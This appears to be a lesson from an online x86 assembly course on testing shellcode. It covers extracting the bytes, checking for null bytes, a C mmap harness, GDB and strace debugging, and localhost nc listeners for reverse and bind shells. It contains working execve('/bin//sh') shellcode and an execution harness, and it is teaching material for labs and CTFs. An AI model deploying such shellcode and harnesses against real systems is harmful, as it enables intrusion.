Skip to main content
Be Bitwise
x86 AssemblyShellcode Development

Testing Shellcode

You've now got position-independent, null-free shellcode. Time to find out whether it actually runs before you fire it at an exploit or hand it to a CTF judge. Testing shellcode looks nothing like testing a regular program — you need the OS to let you execute raw bytes as code, and its memory protections exist specifically to stop that. This lesson runs through the full testing pipeline.

Always Test in Isolated Environments

Shellcode is live machine code, running with the host process's permissions. Test it in a VM, a container, or a dedicated lab box — never on production, never on a machine you'd hate to wipe. Use snapshots so you can roll back when something goes sideways. Call it justified caution. A botched line of shellcode can corrupt memory, fork-bomb the system, or open network connections you didn't plan on.

The Testing Pipeline

The shellcode testing flow has five stages:

c
Write ASM -> Assemble -> Extract bytes -> Load into harness -> Debug/verify

Each stage has its own toolkit and quirks.

Kick things off by assembling the source:

bash
# Assemble to object file
nasm -f elf64 shellcode.asm -o shellcode.o
# Link into executable (for initial testing)
ld shellcode.o -o shellcode_test
# Run it directly (quick sanity check)
./shellcode_test

That first run confirms the logic. It does not, however, prove position independence — running the shellcode as a standalone executable lets the linker resolve addresses at link time, which is exactly what real shellcode never gets to do.

Stage 2: Extract Raw Bytes

Pull the raw machine-code bytes out of the object file:

bash
# Method 1: objcopy to raw binary
objcopy -O binary -j .text shellcode.o shellcode.bin
# View the raw bytes
xxd shellcode.bin
# Method 2: objdump extraction
objdump -d shellcode.o | grep '^ ' | \
awk '{for(i=2;i<=NF&&$i!~/[<>]/;i++) printf $i}' | \
sed 's/../\\x&/g'
# Method 3: Using nasm's flat binary output directly
nasm -f bin shellcode.asm -o shellcode.bin
xxd shellcode.bin

Output should be a hex string ready to drop into an exploit:

c
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68
\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05

That's the null-free /bin//sh version from the first lesson — the doubled slash keeps the path eight bytes, so no 00 sneaks into the immediate. The null check below then genuinely passes.

Check for null bytes at this stage:

bash
# Find null bytes in the binary
xxd shellcode.bin | grep ' 00'
# Or more precisely, check if any byte is 0x00
python3 -c "
data = open('shellcode.bin','rb').read()
for i, b in enumerate(data):
if b == 0:
print(f'NULL BYTE at offset {i} (0x{i:x})')
if not any(b == 0 for b in data):
print('No null bytes found -- shellcode is clean')
"

Stage 3: The C Test Harness

The classic harness is a small C program that drops the bytes into executable memory and jumps to them:

c
/* test_harness.c -- execute shellcode from a byte array */
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
/* Paste your shellcode bytes here */
unsigned char shellcode[] =
"\x48\x31\xf6" /* xor rsi, rsi */
"\x56" /* push rsi */
"\x48\xbf\x2f\x62\x69\x6e" /* mov rdi, "/bin//sh" */
"\x2f\x2f\x73\x68"
"\x57" /* push rdi */
"\x48\x89\xe7" /* mov rdi, rsp */
"\x48\x31\xd2" /* xor rdx, rdx */
"\x48\x31\xc0" /* xor rax, rax */
"\xb0\x3b" /* mov al, 59 */
"\x0f\x05"; /* syscall */
int main() {
printf("Shellcode length: %zu bytes\n", sizeof(shellcode) - 1);
/* Allocate executable memory */
void *exec_mem = mmap(NULL,
sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap");
return 1;
}
/* Copy shellcode into executable memory */
memcpy(exec_mem, shellcode, sizeof(shellcode));
printf("Executing shellcode at %p\n", exec_mem);
/* Cast to function pointer and call */
((void (*)())exec_mem)();
/* If shellcode returns (e.g., exit shellcode won't), clean up */
munmap(exec_mem, sizeof(shellcode));
return 0;
}

Compile and run:

bash
gcc -o test_harness test_harness.c
./test_harness

No -z execstack here: this harness runs the bytes from mmap'd memory it marked executable itself, so the stack's permissions don't matter. (The flag is only needed for the function-pointer-cast version below, which runs from a normal array.)

The trick is mmap with PROT_EXEC, which allocates memory the CPU is allowed to execute. Without it, DEP/NX would fault the moment you jumped into the buffer.

One wrinkle on hardened systems: an SELinux or PaX policy may refuse a single mapping that is both writable and executable (PROT_WRITE | PROT_EXEC). Where that bites, mmap the page read/write, copy the bytes, then mprotect it to read/execute before the call — the same W^X dance real loaders do.

Why this is a real position-independence test: mmap hands you a random address, especially with ASLR up. If the shellcode runs from that unpredictable spot, it's genuinely position-independent.

Alternative: The Function Pointer Cast

A scrappier — and flakier — option puts the shellcode in a global array and casts it to a function pointer:

c
/* Simple test -- requires -z execstack */
const char shellcode[] = "\x48\x31\xf6\x56...";
int main() {
((void (*)())shellcode)();
return 0;
}

You'll need -z execstack or shellcode parked in a section marked executable. Most people prefer the mmap route because it controls permissions explicitly and doesn't lean on linker flags.

Stage 4: Debugging with GDB

When the shellcode misbehaves, GDB is the diagnostic of first resort:

bash
gdb ./test_harness

Set a breakpoint at the shellcode entry point:

c
(gdb) break main
(gdb) run
(gdb) # Step until the function pointer call
(gdb) # Or set a breakpoint on the mmap'd address:
(gdb) break *0x7ffff7ffa000 # (use the address printed by the harness)
(gdb) continue

Once you're sitting on the shellcode, single-step through it:

c
(gdb) display/i $pc # show current instruction
(gdb) si # step one instruction
(gdb) info registers # check register state
(gdb) x/20bx $rsp # examine stack
(gdb) si # next instruction

Common GDB commands for shellcode debugging:

nasm
; Useful GDB commands while stepping through shellcode:
; (gdb) x/10i $pc -- disassemble next 10 instructions from rip
; (gdb) x/s $rdi -- print string at address in rdi
; (gdb) x/4xg $rsp -- examine 4 qwords on the stack
; (gdb) info registers rax rdi rsi rdx -- check syscall arguments
; (gdb) catch syscall execve -- break when execve is called

Stage 5: Verification with strace and ltrace

strace confirms the shellcode is making the syscalls you intended:

bash
strace ./test_harness 2>&1 | tail -20

Expected output for execve("/bin/sh") shellcode:

c
mmap(NULL, 27, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f...
write(1, "Executing shellcode at 0x7f...\n", ...) = ...
execve("/bin/sh", NULL, NULL) = 0

That execve line is the receipt — the shellcode invoked the right syscall with the right arguments. One gotcha: the harness's own printf goes to a block-buffered stdout once output is piped into tail, and execve throws the process image away without flushing it, so the "Executing shellcode" line can vanish. Add an fflush(stdout) before the call, or watch the write syscall in the trace rather than the printed text.

ltrace traces library calls, handy when the shellcode reaches into libc through some other path:

bash
ltrace ./test_harness

Automating the Extraction Pipeline

For repeated runs, automate the assemble-extract-test loop:

bash
#!/bin/bash
# test_shellcode.sh -- assemble, extract, and test shellcode
ASM_FILE=$1
if [ -z "$ASM_FILE" ]; then
echo "Usage: $0 <shellcode.asm>"
exit 1
fi
# Assemble
nasm -f elf64 "$ASM_FILE" -o /tmp/sc.o || exit 1
# Extract raw bytes
objcopy -O binary -j .text /tmp/sc.o /tmp/sc.bin
# Check size
SIZE=$(wc -c < /tmp/sc.bin)
echo "Shellcode size: $SIZE bytes"
# Check for null bytes
if python3 -c "
import sys
data = open('/tmp/sc.bin','rb').read()
nulls = [i for i,b in enumerate(data) if b==0]
if nulls:
print(f'WARNING: {len(nulls)} null byte(s) at offsets: {nulls}')
sys.exit(1)
print('No null bytes found')
"; then
echo "Null byte check: PASSED"
else
echo "Null byte check: FAILED"
fi
# Generate C array
echo -n 'unsigned char shellcode[] = "'
xxd -p /tmp/sc.bin | sed 's/../\\x&/g' | tr -d '\n'
echo '";'

Testing Shellcode That Connects Back

Reverse-shell payloads need a listener up before you fire:

bash
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: run the shellcode
./test_harness

For a bind shell, run first, connect second:

bash
# Terminal 1: run the shellcode
./test_harness
# Terminal 2: connect
nc 127.0.0.1 4444
Security Context: Responsible Shellcode Development

Stick to systems you own, on isolated networks. Reverse and bind shells trip network monitoring and chew through acceptable-use policies the moment they touch production traffic — even when you're "just testing." A local VM with host-only networking is the safe default. In corporate environments, loop in your security team before you fire any shellcode, dev environment or not. These are the working norms of professional security research and authorised pentesting.

Common Testing Problems and Solutions

Problem: segfault on the first instruction. Cause: the memory isn't marked executable. Use mmap with PROT_EXEC or compile with -z execstack.

Problem: SIGILL (illegal instruction). Cause: the extracted bytes are wrong, or you grabbed ELF-header bytes by accident. Re-extract with objcopy -O binary -j .text to keep just .text.

Problem: the shellcode appears to do nothing. Cause: trace it with strace. Usual suspects — wrong syscall number, wrong argument register, an unterminated string.

Problem: works standalone, dies when injected. Cause: almost always a position-independence problem. Some absolute address you embedded doesn't exist in the target process. Audit every data reference.

Try It Yourself

In the sandbox below, write a small shellcode (start with exit(42)), assemble it, pull out the bytes, load them into a harness, and confirm the exit code with echo $?:

Practise on your own machine

You need Linux on x86-64: a virtual machine, WSL 2 on Windows, or a container. Then install the tools with sudo apt install nasm gcc gdb binutils.

What is Next

Full shellcode toolkit, sorted: position-independent coding, null-byte elimination, a testing pipeline that catches the weird edge cases. Module 11 turns to what happens when DEP/NX rules out injected code entirely — and how Return-Oriented Programming chains reuse existing code to hit the same goals without writing a single new instruction.

Challenges

Rewrite the Hello World program without any null bytes in the machine code. Use 'xor' instead of 'mov reg, 0' and use register-sized moves to avoid zero-padding. Print "Hi!" followed by a newline.

Assembly (NASM 2.14.02)